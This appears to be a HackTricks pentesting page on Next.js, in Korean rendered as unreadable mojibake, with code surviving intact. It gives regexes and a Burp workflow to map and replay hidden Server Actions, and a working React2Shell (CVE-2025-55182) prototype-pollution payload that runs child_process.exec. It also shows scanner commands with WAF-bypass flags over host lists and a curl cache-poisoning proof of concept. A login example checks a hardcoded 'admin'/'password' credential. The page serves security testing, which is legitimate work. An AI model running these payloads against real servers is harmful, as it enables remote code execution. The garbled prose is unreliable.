next-auth๊ฐ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํด OAuth ์ ๊ณต์(์: Google, GitHub)์ ํตํฉํ์ธ์.
๋ณด์ ๊ดํ:
- Secure Cookies:
HttpOnly,Secure,SameSite์์ฑ์ ์ค์ ํ์ธ์. - Password Hashing: ์ ์ฅํ๊ธฐ ์ ์ ํญ์ ๋น๋ฐ๋ฒํธ๋ฅผ ํด์ํ์ธ์.
- Input Validation: ์ ๋ ฅ์ ๊ฒ์ฆํ๊ณ ์ ์ (sanitize)ํ์ฌ ์ธ์ ์ ๊ณต๊ฒฉ์ ๋ฐฉ์งํ์ธ์.
์์:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
์ฑ๋ฅ ์ต์ ํ
์ ๋ต:
- ์ด๋ฏธ์ง ์ต์ ํ: Next.js์
next/image์ปดํฌ๋ํธ๋ฅผ ์ฌ์ฉํ์ฌ ์ด๋ฏธ์ง ์๋ ์ต์ ํ. - ์ฝ๋ ๋ถํ : ๋์ import๋ฅผ ํ์ฉํด ์ฝ๋๋ฅผ ๋ถํ ํ๊ณ ์ด๊ธฐ ๋ก๋ ์๊ฐ์ ์ค์ด์ธ์.
- ์บ์ฑ: API ์๋ต ๋ฐ ์ ์ ์์ฐ์ ๋ํ ์บ์ฑ ์ ๋ต์ ๊ตฌํํ์ธ์.
- ์ง์ฐ ๋ก๋ฉ: ํ์ํ ๋๋ง ์ปดํฌ๋ํธ๋ ์์ฐ์ ๋ก๋ํ์ธ์.
์์:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
์ต์ Next.js๋ ์๋ฒ์์ ์คํ๋์ง๋ง ํด๋ผ์ด์ธํธ์์ ํธ์ถ๋๋ โServer Actionsโ๋ฅผ ์ฌ์ฉํฉ๋๋ค. ํ๋ก๋์
์์๋ ์ด๋ฌํ ํธ์ถ์ด ๋ถํฌ๋ช
ํฉ๋๋ค: ๋ชจ๋ POSTs๋ ๊ณตํต ์๋ํฌ์ธํธ๋ก ๋ค์ด์ค๊ณ , Next-Action ํค๋์ ์ ์ก๋ ๋น๋๋ณ ํด์๋ก ๊ตฌ๋ถ๋ฉ๋๋ค. ์์:
POST /
Next-Action: a9f8e2b4c7d1...
productionBrowserSourceMaps๊ฐ ํ์ฑํ๋์ด ์์ผ๋ฉด, minified JS ์ฒญํฌ์๋ createServerReference(...) ํธ์ถ์ด ํฌํจ๋์ด ์์ด (์ฐ๊ด๋ source maps์ ํจ๊ป) action hash์ ์๋ ํจ์ ์ด๋ฆ ๊ฐ์ ๋งคํ์ ๋ณต๊ตฌํ ๋งํผ์ ๊ตฌ์กฐ๋ฅผ leakํฉ๋๋ค. ์ด๋ฅผ ํตํด Next-Action์์ ๊ด์ฐฐํ hash๋ค์ deleteUserAccount()๋ exportFinancialData() ๊ฐ์ ๊ตฌ์ฒด์ ๋์๋ก ๋ณํํ ์ ์์ต๋๋ค.
์ถ์ถ ๋ฐฉ๋ฒ (regex on minified JS + optional source maps)
๋ค์ด๋ก๋ํ JS ์ฒญํฌ์์ createServerReference๋ฅผ ๊ฒ์ํ์ฌ hash์ function/source symbol์ ์ถ์ถํฉ๋๋ค. ์ ์ฉํ ๋ ๊ฐ์ง ํจํด:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- ๊ทธ๋ฃน 1: ์๋ฒ ์ก์ ํด์ (16์ง์ 40์ ์ด์)
- ๊ทธ๋ฃน 2: ์ฌ๋ณผ ๋๋ ๊ฒฝ๋ก(์์ค ๋งต์ด ์์ ๊ฒฝ์ฐ ์๋ ํจ์๋ก ๋ณต์ ๊ฐ๋ฅํ)
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
์ค๋ฌด ์ํฌํ๋ก์ฐ
- ๋ธ๋ผ์ฐ์ง ์ค ์๋ ๋ฐ๊ฒฌ:
Next-Actionํค๋์ JS chunk URLs๋ฅผ ํฌํจํ ์์ฒญ์ ์บก์ฒํ๋ค. - ์ฐธ์กฐ๋ JS ๋ฒ๋ค๊ณผ ํจ๊ป ์ ๊ณต๋๋
*.mapํ์ผ(์์ ๊ฒฝ์ฐ)์ ๊ฐ์ ธ์จ๋ค. - ์์ regex๋ฅผ ์คํํด ํด์โ์ด๋ฆ ์ฌ์ ์ ๊ตฌ์ฑํ๋ค.
- ์ฌ์ ์ ์ด์ฉํด ํ
์คํธ ๋์์ ์ ์ ํ๋ค:
- ์ด๋ฆ ๊ธฐ๋ฐ ๋ถ๋ฅ(์:
transferFunds,exportFinancialData). - ํจ์๋ช ๊ธฐ์ค์ผ๋ก ๋น๋ ๊ฐ ์ปค๋ฒ๋ฆฌ์ง ์ถ์ (ํด์๋ ๋น๋๋ง๋ค ๋ณ๊ฒฝ๋จ).
- ์ด๋ฆ ๊ธฐ๋ฐ ๋ถ๋ฅ(์:
์จ๊ฒจ์ง ์ก์ ์คํ(ํ ํ๋ฆฟ ๊ธฐ๋ฐ ์์ฒญ)
ํ๋ก์์์ ๊ด์ฐฐ๋ ์ ํจํ POST๋ฅผ ํ
ํ๋ฆฟ์ผ๋ก ์ฌ์ฉํด Next-Action ๊ฐ์ ๋ค๋ฅธ ๋ฐ๊ฒฌ๋ ์ก์
์ผ๋ก ๊ต์ฒดํ๋ค:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Repeater์์ ์ฌ์คํํ์ฌ ์ ๊ทผํ ์ ์๋ ์ก์ ๋ค์ ๊ถํ ๊ฒ์ฌ, ์ ๋ ฅ ๊ฒ์ฆ ๋ฐ ๋น์ฆ๋์ค ๋ก์ง์ ํ ์คํธํ์ธ์.
Burp ์๋ํ
- NextjsServerActionAnalyzer (Burp extension)๋ Burp์์ ์ ๊ณผ์ ์ ์๋ํํฉ๋๋ค:
- ํ๋ก์ ํ์คํ ๋ฆฌ์์ JS ์ฒญํฌ๋ฅผ ํ์ํ๊ณ ,
createServerReference(...)ํญ๋ชฉ์ ์ถ์ถํ๋ฉฐ, ๊ฐ๋ฅํ๋ฉด ์์ค ๋งต์ ํ์ฑํฉ๋๋ค. - ๊ฒ์ ๊ฐ๋ฅํ hashโfunction-name ์ฌ์ ์ ์ ์งํ๊ณ ํจ์ ์ด๋ฆ์ผ๋ก ๋น๋ ๊ฐ ์ค๋ณต์ ์ ๊ฑฐํฉ๋๋ค.
- ์ ํจํ ํ ํ๋ฆฟ POST๋ฅผ ์ฐพ์ ๋์ ์ก์ ์ hash๋ก ๊ต์ฒดํ ์ํ๋ก ์ ์ก ์ค๋น๋ Repeater ํญ์ ์ฝ๋๋ค.
- ๋ฆฌํฌ์งํ ๋ฆฌ: https://github.com/Adversis/NextjsServerActionAnalyzer
์ฐธ๊ณ ๋ฐ ์ ํ์ฌํญ
- ๋ฒ๋ค/์์ค ๋งต์์ ์ด๋ฆ์ ๋ณต๊ตฌํ๋ ค๋ฉด ํ๋ก๋์
ํ๊ฒฝ์์
productionBrowserSourceMaps๊ฐ ํ์ฑํ๋์ด ์์ด์ผ ํฉ๋๋ค. - Function-name ๊ณต๊ฐ ์์ฒด๋ ์ทจ์ฝ์ ์ด ์๋๋๋ค; ์ด๋ฅผ ์ด์ฉํด ํ์์ ์๋ดํ๊ณ ๊ฐ ์ก์ ์ ๊ถํ์ ํ ์คํธํ์ธ์.
React Server Components Flight ํ๋กํ ์ฝ ์ญ์ง๋ ฌํ RCE (CVE-2025-55182)
Server Actions๋ฅผ react-server-dom-webpack 19.0.0โ19.2.0 (Next.js 15.x/16.x) ์ ๋
ธ์ถํ๋ Next.js App Router ๋ฐฐํฌ๋ Flight ์ฒญํฌ ์ญ์ง๋ ฌํ ๊ณผ์ ์์ ์น๋ช
์ ์ธ ์๋ฒ ์ธก prototype pollution์ ํฌํจํฉ๋๋ค. Flight ํ์ด๋ก๋ ๋ด๋ถ์ $ ์ฐธ์กฐ๋ฅผ ์กฐ์ํ๋ฉด ๊ณต๊ฒฉ์๋ ์ค์ผ๋ ํ๋กํ ํ์
์์ ์์์ JavaScript ์คํ์ผ๋ก, ๊ทธ ํ Node.js ํ๋ก์ธ์ค ๋ด๋ถ์ OS ๋ช
๋ น ์คํ์ผ๋ก ์ ํํ ์ ์์ต๋๋ค.
NodeJS - proto & prototype Pollution
Flight ์ฒญํฌ์์์ ๊ณต๊ฒฉ ์ฒด์ธ
- Prototype pollution primitive:
"then": "$1:__proto__:then"์ ์ค์ ํ๋ฉด resolver๊ฐObject.prototype์thenํจ์๋ฅผ ์๋๋ค. ์ดํ ์ฒ๋ฆฌ๋๋ ๋ชจ๋ ์ผ๋ฐ ๊ฐ์ฒด๋ thenable์ด ๋์ด ๊ณต๊ฒฉ์๊ฐ RSC ๋ด๋ถ์ ๋น๋๊ธฐ ์ ์ด ํ๋ฆ์ ์ํฅ์ ์ค ์ ์์ต๋๋ค. - Rebinding to the global
Functionconstructor:_response._formData.get๋ฅผ"$1:constructor:constructor"๋ก ๊ฐ๋ฆฌํค๊ฒ ํฉ๋๋ค. ํด์ ๊ณผ์ ์์object.constructorโObject, ๊ทธ๋ฆฌ๊ณObject.constructorโFunction์ด๋ฏ๋ก ํฅํ_formData.get()ํธ์ถ์ ์ค์ ๋กFunction(...)์ ์คํํฉ๋๋ค. - Code execution via
_prefix:_response._prefix์ JavaScript ์์ค๋ฅผ ๋ฃ์ต๋๋ค. ์ค์ผ๋_formData.get๊ฐ ํธ์ถ๋๋ฉด ํ๋ ์์ํฌ๋Function(_prefix)(...)๋ฅผ ํ๊ฐํ๋ฏ๋ก ์ฃผ์ ๋ JS๋require('child_process').exec()๋๋ ๋ค๋ฅธ Node ๊ธฐ๋ณธ ๊ธฐ๋ฅ์ ์คํํ ์ ์์ต๋๋ค.
ํ์ด๋ก๋ ์ค์ผ๋ ํค
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
React Server Function ๋ ธ์ถ ๋งคํ
React Server Functions (RSF)๋ โuse serverโ; ์ง์๋ฌธ์ ํฌํจํ๋ ๋ชจ๋ ํจ์์ ๋๋ค. ํด๋น ํจ์๋ค์ ๋ฐ์ธ๋ฉ๋ ๋ชจ๋ form action, mutation, ๋๋ fetch helper๋ RSC Flight endpoint๊ฐ ๋์ด ๊ณต๊ฒฉ์๊ฐ ์ ๊ณตํ ํ์ด๋ก๋๋ฅผ ์ญ์ง๋ ฌํํฉ๋๋ค. React2Shell assessments์์ ํ์๋ ์ ์ฉํ recon ๋จ๊ณ:
- Static inventory: ์ง์๋ฌธ์ ์ฐพ์ ํ๋ ์์ํฌ๊ฐ ์๋์ผ๋ก ๋ ธ์ถํ๋ RSF์ ์๋ฅผ ํ์ ํ์ธ์.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-app์ ๊ธฐ๋ณธ์ ์ผ๋ก App Router +app/๋๋ ํฐ๋ฆฌ๋ฅผ ํ์ฑํํ์ฌ, ๋ชจ๋ ๋ผ์ฐํธ๋ฅผ ์กฐ์ฉํ RSC-์ง์ ์๋ํฌ์ธํธ๋ก ์ ํํฉ๋๋ค. App Router ์์ฐ(์:/_next/static/chunks/app/) ๋๋ Flight ์ฒญํฌ๋ฅผtext/x-component๋ก ์คํธ๋ฆฌ๋ฐํ๋ ์๋ต์ ๊ฐ๋ ฅํ ์ธํฐ๋ท ๋ ธ์ถ ์ง๋ฌธ์ ๋๋ค. - Implicitly vulnerable RSC deployments: React์ ๊ถ๊ณ ์ ๋ฐ๋ฅด๋ฉด RSC runtime์ ํฌํจํด ๋ฐฐํฌ๋๋ ์ฑ์ ๋ช
์์ ์ธ RSFs ์์ด๋ ์
์ฉ๋ ์ ์์ผ๋ฏ๋ก
react-server-dom-*19.0.0โ19.2.0์ ์ฌ์ฉํ๋ ๋ชจ๋ ๋น๋๋ฅผ ์์ฌํด์ผ ํฉ๋๋ค. - Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku ๋ฑ์ ๋์ผํ serializer๋ฅผ ์ฌ์ฌ์ฉํ๋ฉฐ ํจ์น๋ React ๋น๋๋ฅผ ํฌํจํ ๋๊น์ง ๋์ผํ ์๊ฒฉ ๊ณต๊ฒฉ ํ๋ฉด์ ๋ฌผ๋ ค๋ฐ์ต๋๋ค.
Version coverage (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: ์ทจ์ฝ(vulnerable) 19.0.0, 19.1.0โ19.1.1 ๋ฐ 19.2.0; ํจ์น๋จ(patched) 19.0.1, 19.1.2 ๋ฐ 19.2.1 ๊ฐ๊ฐ.- Next.js stable: App Router releases 15.0.0โ16.0.6๋ ์ทจ์ฝํ RSC ์คํ์ ํฌํจํฉ๋๋ค. ํจ์น ํธ๋ ์ธ 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7์ ์์ ๋ ์ข ์์ฑ์ ํฌํจํ๋ฏ๋ก, ํด๋น ๋ฒ์ ๋ค๋ณด๋ค ๋ฎ์ ๋น๋๋ ๋์ ์ฐ์ ์กฐ์ฌ ๋์์ ๋๋ค.
- Next.js canary:
14.3.0-canary.77+๋ํ ๋ฌธ์ ๊ฐ ์๋ ๋ฐํ์์ ํฌํจํ๋ฉฐ ํ์ฌ ํจ์น๋ canary ๋ฆด๋ฆฌ์ค๊ฐ ์์ด ํด๋น ์ง๋ฌธ์ ๊ฐ๋ ฅํ ์ ์ฉ ํ๋ณด์ ๋๋ค.
Remote detection oracle
Assetnoteโs react2shell-scanner ๋ ํ๋ณด ๊ฒฝ๋ก์ ์กฐ์๋ multipart Flight ์์ฒญ์ ์ ์กํ๊ณ ์๋ฒ ์ธก ๋์์ ๊ด์ฐฐํฉ๋๋ค:
- Default mode๋ ๊ฒฐ์ ์ RCE ํ์ด๋ก๋๋ฅผ ์คํํฉ๋๋ค(์ํ ์ฐ์ฐ์ด
X-Action-Redirect๋ฅผ ํตํด ๋ฐ์๋์ด) ์ฝ๋ ์คํ์ ์ ์ฆํฉ๋๋ค. --safe-checkmode๋ ์๋์ ์ผ๋ก Flight ๋ฉ์์ง๋ฅผ ์์์์ผ ํจ์น๋ ์๋ฒ๋200/400์ ๋ฐํํ๋ ๋ฐ๋ฉด, ์ทจ์ฝํ ๋์์ ๋ณธ๋ฌธ์E{"digest"์๋ธ์คํธ๋ง์ ํฌํจํHTTP/500์๋ต์ ๋ฐํํฉ๋๋ค. ์ด(500 + digest)์กฐํฉ์ ํ์ฌ ์๋น ์ธก์์ ๊ณต๊ฐํ ๊ฐ์ฅ ์ ๋ขฐํ ์ ์๋ ์๊ฒฉ ์ค๋ผํด์ ๋๋ค.- ๋ด์ฅ๋
--waf-bypass,--vercel-waf-bypass, ๋ฐ--windows์ค์์น๋ ํ์ด๋ก๋ ๋ ์ด์์์ ์กฐ์ ํ๊ฑฐ๋ junk๋ฅผ ์์ ์ถ๊ฐํ๊ฑฐ๋ OS ๋ช ๋ น์ ๊ต์ฒดํ์ฌ ์ค์ ์ธํฐ๋ท ์์ฐ์ ํ์ํ ์ ์๊ฒ ํฉ๋๋ค.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
๊ธฐํ ์ต๊ทผ App Router ์ด์ (2025๋ ๋ง)
- RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) โ ์์๋ Flight ํ์ด๋ก๋๋ RSC resolver๋ฅผ ๋ฌดํ ๋ฃจํ๋ก ๋ชฐ์๋ฃ์ด (pre-auth DoS) ๋ค๋ฅธ ๋์์ ์ํด ์ปดํ์ผ๋ Server Function ์ฝ๋๋ฅผ ์ง๋ ฌํํ๋๋ก ๊ฐ์ ํ ์ ์์ต๋๋ค. App Router ๋น๋ โฅ13.3์ ํจ์น ์ ๊น์ง ์ํฅ์ ๋ฐ์ผ๋ฉฐ; 15.0.xโ16.0.x๋ upstream advisory์ ํน์ ํจ์น ๋ผ์ธ์ด ํ์ํฉ๋๋ค. ์ผ๋ฐ Server Action ๊ฒฝ๋ก๋ฅผ ์ฌ์ฌ์ฉํ๋
text/x-component๋ฐ๋๋ฅผ ์คํธ๋ฆฌ๋ฐํ๊ณ ์ ์์ ์ธ$์ฐธ์กฐ๋ฅผ ํฌํจ์ํค์ธ์. CDN ๋ค์์๋ ์ ์ง๋ ์ฐ๊ฒฐ์ด cache timeouts๋ก ์ธํด ์ด๋ฆฐ ์ํ๋ก ์ ์ง๋์ด DoS๊ฐ ์ ๋ ดํด์ง๋๋ค.
- ํธ๋ฆฌ์์ง ํ: ํจ์น๋์ง ์์ ๋์์ ์์๋ Flight ํ์ด๋ก๋ ํ
E{"digest"๊ฐ ํฌํจ๋500์ ๋ฐํํฉ๋๋ค; ํจ์น๋ ๋น๋๋400/200์ ๋ฐํํฉ๋๋ค. ์ด๋ฏธ Flight ์ฒญํฌ๋ฅผ ์คํธ๋ฆฌ๋ฐํ๋ ์๋ํฌ์ธํธ(Next-Actionํค๋๋text/x-component์๋ต์ ํ์ธ)์์ ํ ์คํธํ๊ณ ์์ ๋ ํ์ด๋ก๋๋ก ์ฌ์ํ์ธ์.
- RSC cache poisoning (CVE-2025-49005, App Router 15.3.0โ15.3.2) โ
Vary๊ฐ ๋๋ฝ๋๋ฉดAccept: text/x-component์๋ต์ด ์บ์๋์ด HTML์ ๊ธฐ๋ํ๋ ๋ธ๋ผ์ฐ์ ์ ์ ๊ณต๋ ์ ์์ต๋๋ค. ๋จ ํ ๋ฒ์ ํ๋ผ์ด๋ฐ ์์ฒญ์ผ๋ก ํ์ด์ง๊ฐ ์์ RSC ํ์ด๋ก๋๋ก ๋์ฒด๋ ์ ์์ต๋๋ค. PoC ํ๋ฆ:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head
๋ ๋ฒ์งธ ์๋ต์ด HTML ๋์ JSON Flight ๋ฐ์ดํฐ๋ฅผ ๋ฐํํ๋ฉด ํด๋น ๋ผ์ฐํธ๋ ์ค์ผ ๊ฐ๋ฅ์ฑ์ด ์์ต๋๋ค. ํ ์คํธ ํ์๋ ์บ์๋ฅผ purgeํ์ธ์.
References
- Pentesting Next.js Server Actions โ A Burp Extension for Hash-to-Function Mapping
- NextjsServerActionAnalyzer (Burp extension)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell โ All You Need to Know
- 0xdf โ HTB Previous (Next.js middleware bypass, static export recon, NextAuth config leak)
- assetnote/react2shell-scanner
- Next.js Security Update: December 11, 2025 (CVE-2025-55183/55184/67779)
- GHSA-r2fc-ccr8-96c4 / CVE-2025-49005: App Router cache poisoning
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


